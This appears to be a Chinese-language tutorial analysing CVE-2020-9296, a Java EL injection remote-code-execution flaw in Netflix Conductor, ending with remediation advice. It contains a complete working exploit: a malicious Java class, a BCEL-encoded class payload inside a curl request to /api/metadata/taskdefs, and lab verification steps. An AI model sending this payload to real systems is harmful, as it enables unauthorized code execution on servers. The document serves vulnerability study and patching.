CVE-2020-9296-Netflix-Conductor-RCE-漏洞分析
字数 1513 2025-08-25 22:58:55
Netflix Conductor RCE漏洞(CVE-2020-9296)分析与利用教学文档
1. 漏洞概述
CVE-2020-9296是Netflix Conductor工作流编排引擎中存在的一个远程代码执行漏洞。该漏洞源于对Java Bean Validation (JSR 380)中buildConstraintViolationWithTemplate函数的不当使用,导致攻击者可以通过注入Java EL表达式实现任意代码执行。
2. 漏洞原理
2.1 漏洞成因
漏洞的核心问题在于:
- 系统使用了Java Bean Validation自定义约束验证器
- 在构建自定义约束违反错误消息时,支持了Java EL表达式插值
- 错误消息模板中包含了用户可控的输入
具体来说,TaskTimeoutConstraint.java中使用了ConstraintValidatorContext.buildConstraintViolationWithTemplate()函数,且参数是通过String.format()生成的格式化字符串,其中包含了用户可控的变量。
2.2 漏洞触发流程
- 攻击者通过POST请求访问
/api/metadata/taskdefs创建TaskDef对象 - 构造的参数满足
taskDef.getTimeoutSeconds() > 0且taskDef.getResponseTimeoutSeconds() > taskDef.getTimeoutSeconds()条件 TaskTimeoutValidator校验失败- TaskDef的name属性作为错误信息的一部分通过
buildConstraintViolationWithTemplate()输出 - 由于name是构造好的Java EL表达式,表达式会被执行,导致RCE
3. 环境搭建
3.1 下载源码
git clone https://github.com/Netflix/conductor.git
cd conductor
git checkout v2.25.0 # 切换到存在漏洞的分支
3.2 启动Docker环境
cd docker
docker-compose up -d
4. 漏洞利用
4.1 利用原理
利用com.sun.org.apache.bcel.internal.util.ClassLoader加载恶意构造的类来实现RCE。
4.2 恶意类构造
创建恶意Java类Evil.java:
public class Evil {
public Evil() {
try {
Runtime.getRuntime().exec("touch /tmp/pwned");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
编译后使用BCEL编码工具将其转换为BCEL格式。
4.3 构造攻击请求
使用curl发送恶意请求:
curl --location --request POST 'http://localhost:8080/api/metadata/taskdefs' \
--header 'Content-Type: application/json' \
--data-raw '[{
"name": "${''.getClass().forName(''com.sun.org.apache.bcel.internal.util.ClassLoader'').newInstance().loadClass(''
$$
BCEL
$$
$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$94J$b1$W$a9$u$u$f8$af$LQ$T$d9$b8$c3$b81$b8$c2$9f$I$d1$85$hK$99$e0$m$b4M$j$d07r$cd$G$8d$L$l$c0$87R$ef$8c$89$98h$93$b93$f7$dcs$bf$9b$99$be$7f$bc$be$B$d8$c7$a6$8d$U$e6l$e4$90Oa$5e$ed$L$W$K6$sP$b4$b0ha$89$ny$m$C$n$P$Z$S$a5$edK$G$f3$ulq$86LM$E$fc$b4$dfk$f2$b8$e15$bb$a4$a4$eb$d2$f3$efN$bcH$e7$ba$bb$40$f6$9e$t$C$86$7c$e9$ba$d6$f1$G$5e$b9$eb$F$edr$5d$c6$ohW$U$ce$ae$87$fd$d8$e7$c7B$n$s$ab$D$d1$ddS$3e$H$93$b0$z$y$3bX$c1$w$83$x$c3$be$7f$bbV$96$bd$a8$i$3d$E$bc$e5$60$N$eb$M$b3cf$f5$d1$e7$91$Ua$e0$60$D6$NV$y$ea$i$3b$ce$9a$j$eeK$86$99$b1t$d1$P$a4$e8$d1d$bb$cd$e5O$92$xm$d7$fex$w$84$e4$8f$dcg$d8$w$fds$95_$d2y$i$fa$fc$fe$9e$g2$R$V$a5$7e$97F$ec$f9$i$eb$b0$e8$bd$d5g$80$a9$xR$9c$a2$ec$86r$83$f6$fc$ce3$d8$L$8clb$E$f3$ea$J$a9$da$ee$I$c9$n$b9L$a4$e1$d2o1$e0$90$af$88$a4f$98Z$b7te$86$b4$i$d1$d3Tqa$7cR$60$W$a6U$c8$984$cb$r$c7$f7$b4$C$z$a6$d6P$l$U0$a9$F$87bV$83g$bf$AU$b9$Sh$o$C$A$A'').newInstance().class}",
"ownerEmail": "test@example.org",
"retryCount": 3,
"timeoutSeconds": 1200,
"inputKeys": ["sourceRequestId", "qcElementType"],
"outputKeys": ["state", "skipped", "result"],
"timeoutPolicy": "TIME_OUT_WF",
"retryLogic": "FIXED",
"retryDelaySeconds": 600,
"responseTimeoutSeconds": 3600,
"concurrentExecLimit": 100,
"rateLimitFrequencyInSeconds": 60,
"rateLimitPerFrequency": 50,
"isolationgroupId": "myIsolationGroupId"
}]'
4.4 验证攻击
进入Docker容器检查是否成功创建文件:
docker exec -it <container_id> bash
ls /tmp/pwned # 检查文件是否创建成功
5. 漏洞修复
开发者将org.hibernate:hibernate-validator替换为org.apache.bval:bval-jsr,后者在最新版本下不会解析Java EL表达式,从而消除了RCE风险。
修复建议:
- 升级到最新版本的Netflix Conductor
- 如果无法升级,可以替换验证器实现为不解析EL表达式的版本
6. 相关参考
- 官方漏洞通告:https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-001.md
- Netflix Conductor项目:https://github.com/Netflix/conductor
- 类似漏洞CVE-2020-10199:Nexus Repository Manager RCE
7. 总结
该漏洞展示了在错误消息处理中不当使用用户输入的危险性,特别是在支持表达式解析的环境中。开发人员应:
- 避免在错误消息中使用用户可控的输入
- 禁用不必要的表达式解析功能
- 对必须使用用户输入的场景进行严格的过滤和转义